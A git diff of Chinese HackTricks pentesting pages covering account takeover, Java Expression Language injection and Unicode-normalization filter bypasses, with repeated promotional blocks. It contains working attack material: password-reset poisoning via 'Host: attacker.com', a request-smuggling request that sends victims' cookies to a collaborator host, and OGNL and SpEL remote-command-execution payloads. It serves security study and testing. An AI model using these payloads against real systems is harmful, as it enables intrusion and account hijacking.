<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -7,13 +7,27 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 注册接管
### 重复注册
@ -39,7 +53,7 @@
### SQL注入
[**查看此页面**](sql-injection/#insert-statement)以了解如何尝试通过**SQL注入**在注册表单中接管账户或提取信息。
[**查看此页面**](sql-injection/#insert-statement)以了解如何尝试通过注册表单中的**SQL注入**进行账户接管或提取信息。
### Oauth接管
@ -60,30 +74,9 @@
### 更多检查
* 检查是否可以使用**一次性电子邮件**
* **长** **密码**>200会导致**DoS**
* **长** **密码**>200会导致**拒绝服务**
* **检查账户创建的速率限制**
* 使用username@**burp\_collab**.net并分析**回调**
## **重置密码接管**
### 通过引用者泄漏重置密码令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 请求将密码重置到您的电子邮件地址
2. 单击密码重置链接
3. 不更改密码
4. 单击任何第三方网站例如FacebookTwitter
5. 拦截Burp Suite代理中的请求
6. 检查引用者标头是否泄漏密码重置令牌。
### 重置密码篡改 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. 在Burp Suite中拦截密码重置请求
2. 在Burp Suite中添加或编辑以下标头`Host: attacker.com``X-Forwarded-Host: attacker.com`
3. 使用修改后的标头转发请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于_host header_的密码重置URL例如`https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -102,9 +95,9 @@ email=victim@mail.com|hacker@mail.com
```
### API参数上的IDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻击者必须使用他们的户登录并转到**更改密码**功能。
1. 攻击者必须使用他们的户登录并转到**更改密码**功能。
2. 启动Burp Suite并拦截请求。
3. 将其发送到重复选项卡并编辑参数用户ID/电子邮件\
3. 将其发送到重复选项卡并编辑参数用户ID/电子邮件\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### 弱密码重置令牌 <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -132,16 +125,16 @@ email=victim@mail.com|hacker@mail.com
### 通过用户名冲突进行密码重置 <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 使用与受害者用户名相同的用户名在系统上注册,但在用户名之前和/或之后插入空格。例如:`"admin "`
2. 使用您的恶意用户名请求密码重置
2. 使用您的恶意用户名请求重置密码。
3. 使用发送到您的电子邮件的令牌重置受害者密码。
4. 使用新密码连接到受害者户。
4. 使用新密码连接到受害者户。
平台CTFd容易受到此攻击的影响。\
参见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### 通过跨站脚本攻击实现账户接管 <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 在应用程序内或子域中找到XSS漏洞如果cookie范围限定为父域`*.domain.com`
1. 在应用程序内或子域中找到XSS漏洞如果cookie范围限定为父域:`*.domain.com`
2. 泄露当前的**会话cookie**
3. 使用cookie对用户进行身份验证
@ -149,7 +142,7 @@ email=victim@mail.com|hacker@mail.com
1. 使用**smuggler**检测HTTP请求走私的类型CL、TE、CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. 构造一个请求,将`POST / HTTP/1.1`覆盖为以下数据\
2. 构造一个请求,该请求用以下数据覆盖`POST / HTTP/1.1`\
`GET http://something.burpcollaborator.net HTTP/1.1 X:`目的是将受害者重定向到burpcollab并窃取其cookie\
3. 最终请求可能如下所示
```
@ -163,17 +156,17 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
### 通过CSRF实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### 通过 CSRF 进行账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. 为CSRF创建一个有效载荷例如“自动提交密码更改的HTML表单”
2. 发送有效载荷
1. 创建 CSRF 的 payload例如“自动提交密码更改的 HTML 表单”
2. 发送 payload
### 通过JWT实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### 通过 JWT 进行账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token可能用于验证用户身份。
JSON Web Token 可能用于验证用户身份。
* 编辑JWT以更改用户ID/电子邮件
* 检查弱JWT签名
* 编辑 JWT更改用户 ID / 电子邮件
* 检查弱 JWT 签名
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
@ -183,16 +176,30 @@ JSON Web Token可能用于验证用户身份。
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 提供支持的搜索引擎,提供 **免费** 功能,用于检查公司或其客户是否受到 **窃取恶意软件** 的影响。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
支持 HackTricks 的其他方式:
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -5,37 +5,51 @@
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告** 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
表达式语言EL在JavaEE中起着至关重要的作用用于连接表示层例如网页和应用程序逻辑例如托管的bean实现它们之间的交互。它主要用于
表达式语言EL在JavaEE中是不可或缺的,用于桥接表示层(例如,网页)和应用程序逻辑(例如,托管的bean实现它们之间的交互。它主要用于
- **JavaServer Faces (JSF)**用于将UI组件绑定到后端数据/操作。
- **JavaServer Pages (JSP)**用于在JSP页面中访问和操作数据。
- **Contexts and Dependency Injection for Java EE (CDI)**用于促进Web层与托管bean的交互。
- **JavaServer FacesJSF**用于将UI组件绑定到后端数据/操作。
- **JavaServer PagesJSP**用于在JSP页面中访问和操作数据。
- **Java EE的上下文和依赖注入CDI**用于促进Web层与托管bean的交互。
**使用环境**
- **Spring框架**:在诸如安全和数据等各种模块中应用。
- **通用用途**开发人员在基于JVM的语言如Java、Kotlin和Scala中通过SpEL API使用。
- **Spring框架**:在各种模块中应用,如安全性和数据
- **通用用途**通过SpEL API由JVM语言如Java、Kotlin和Scala的开发人员使用。
EL存在于JavaEE技术、独立环境中并通过`.jsp`或`.jsf`文件扩展名、堆栈错误以及标题中的“Servlet”等术语来识别。然而其功能和对某些字符的使用可能取决于版本。
{% hint style="info" %}
根据**EL版本**的不同,某些**功能**可能**开启**或**关闭**,通常某些**字符**可能会被**禁止**使用。
根据**EL版本**的不同,某些**功能**可能**开启**或**关闭**,通常某些**字符**可能会被**禁止**使用。
{% endhint %}
## 基本示例
(您可以在[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)找到另一个有趣的关EL的教程
(您可以在[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)找到另一个有趣的关EL的教程
从[**Maven**](https://mvnrepository.com)库下载以下jar文件
从[**Maven**](https://mvnrepository.com)存储库下载以下jar文件
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
@ -78,7 +92,7 @@ Enter a String to evaluate:
## **基于CVE的教程**
在**此帖子中查看:[https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
在**这篇文章中查看:[https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
## 负载
@ -153,11 +167,11 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows**(未经测试)
* RCE **Windows** (未经测试)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **更多的远程命令执行RCE**
* **更多的远程命令执行**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
@ -195,11 +209,11 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
```
### 检查环境
* `applicationScope` - 全局应用变量
* `applicationScope` - 全局应用程序变量
* `requestScope` - 请求变量
* `initParam` - 应用初始化变量
* `initParam` - 应用程序初始化变量
* `sessionScope` - 会话变量
* `param.X` - 参数值,其中 X http 参数的名称
* `param.X` - 其中X是http参数的名称的参数值
您需要将这些变量转换为字符串,如下所示:
```bash
@ -226,14 +240,26 @@ ${employee.FirstName}
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
* 您在**网络安全公司**工作吗? 想要在**HackTricks**中看到您的**公司广告** 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
</details>

View file

@ -8,17 +8,31 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**这是一个摘要:[https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)**。查看更多详细信息(图片取自该网站)。
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
**这是一个摘要:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。查看更多详细信息(图片取自该网站)。
## 理解Unicode和规范化
Unicode规范化是一种确保字符的不同二进制表示被标准化为相同二进制值的过程。这个过程在处理编程和数据处理中的字符串时至关重要。Unicode标准定义了两种字符等价性
Unicode规范化是一种确保字符的不同二进制表示标准化为相同二进制值的过程。这个过程在处理编程和数据处理中的字符串时至关重要。Unicode标准定义了两种字符等价性
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则被视为规范等价。
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但显示方式可能不同。
@ -29,13 +43,15 @@ Unicode规范化是一种确保字符的不同二进制表示被标准化为相
理解Unicode编码至关重要特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点
- **代码点和字符**在Unicode中每个字符或符号都被分配一个称为“代码点”的数值。
- **字节表示**:代码点(或字符)在内存中由一个或多个字节表示。例如,拉丁-1字符在讲英语的国家中很常见使用一个字节表示。然而具有更大字符集的语言需要更多字节来表示。
- **编码**这个术语指的是字符如何转换为一系列字节。UTF-8是一种流行的编码标准其中ASCII字符使用一个字节表示其他字符最多使用四个字节。
- **处理数据**:处理数据的系统必须了解使用的编码,以正确地将字节流转换为字符。
- **UTF的变体**除了UTF-8还有其他编码标准如UTF-16使用至少2个字节最多4个和UTF-32所有字符使用4个字节
* **代码点和字符**在Unicode中每个字符或符号都被分配一个称为“代码点”的数值。
* **字节表示**:代码点(或字符)在内存中由一个或多个字节表示。例如,拉丁-1字符在讲英语的国家中很常见使用一个字节表示。然而具有更大字符集的语言需要更多字节来表示。
* **编码**这个术语指的是字符如何转换为一系列字节。UTF-8是一种常见的编码标准其中ASCII字符使用一个字节表示其他字符最多使用四个字节。
* **处理数据**:处理数据的系统必须了解使用的编码,以正确地将字节流转换为字符。
* **UTF的变体**除了UTF-8还有其他编码标准如UTF-16使用至少2个字节最多4个和UTF-32所有字符使用4个字节
理解这些概念对于有效处理和减轻由Unicode的复杂性及其各种编码方法引起的潜在问题至关重要。
一个示例说明Unicode如何规范化表示同一字符的两个不同字节
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
@ -43,7 +59,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### 探索
如果您可以在web应用程序中找到一个被回显的值您可以尝试发送**“KELVIN SIGN”U+0212A**,它**规范化为“K”**(您可以发送为`%e2%84%aa`)。**如果回显了“K”**,那么可能正在执行某种**Unicode规范化**。
如果您在web应用程序中找到一个被回显的值您可以尝试发送**'KELVIN SIGN' (U+0212A)**,它**规范化为"K"** (您可以发送为`%e2%84%aa`)。**如果回显了一个"K"**,那么可能正在执行某种**Unicode规范化**。
另一个**示例**`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 经过**unicode**后为 `Leonishan`
@ -51,11 +67,11 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### **SQL注入过滤器绕过**
想象一个网页正在使用字符`'`来使用用户输入创建SQL查询。这个网页作为安全措施**删除**用户输入中所有字符**`'`**,但在**删除**之后和**创建**查询之前,它使用**Unicode**对用户输入进行**规范化**。
想象一个网页正在使用字符`'`来使用用户输入创建SQL查询。这个网页作为安全措施**删除**用户输入中所有字符`'`的出现,但在**删除**之后和**创建**查询之前,它使用**Unicode**对用户输入进行**规范化**。
然后,恶意用户可以插入一个等效于`' (0x27)`的不同Unicode字符如`%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现**SQL注入漏洞**
然后,恶意用户可以插入一个等效于`' (0x27)`的不同Unicode字符如`%ef%bc%87`,当输入被规范化时,一个单引号被创建,从而出现**SQL注入漏洞**
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (157) (1).png>)
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (699).png>)
**一些有趣的Unicode字符**
@ -91,34 +107,46 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
您可以使用以下字符之一来欺骗 Web 应用程序并利用 XSS
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (1).png>)
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (2).png>)
请注意,例如,第一个提出的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>)
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1) (1).png>)
### 模糊正则表达式
当后端**使用正则表达式检查用户输入**时,可能会出现**输入**被**规范化**用于**正则表达式**,但**未**用于其**使用**的情况。例如,在开放重定向或 SSRF 中,正则表达式可能会**规范化发送的 URL**,但然后**按原样访问**它。
工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许**生成输入的变体**以对后端进行模糊测试。有关更多信息,请查看**github**和此[**文章**](https://0xacb.com/2022/11/21/recollapse/).
当后端**使用正则表达式检查用户输入**时,可能会出现**输入**被**规范化**以用于**正则表达式**,但在**使用**时却**未被规范化**的情况。例如,在开放重定向或 SSRF 中,正则表达式可能会**规范化发送的 URL**,但然后**按原样访问**它。
工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许**生成输入的变体**以对后端进行模糊测试。有关更多信息,请查看**github**和此[**文章**](https://0xacb.com/2022/11/21/recollapse/)。
## 参考资料
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由暗网推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户接管和勒索软件攻击。
您可以在以下网址检查他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -8,19 +8,33 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
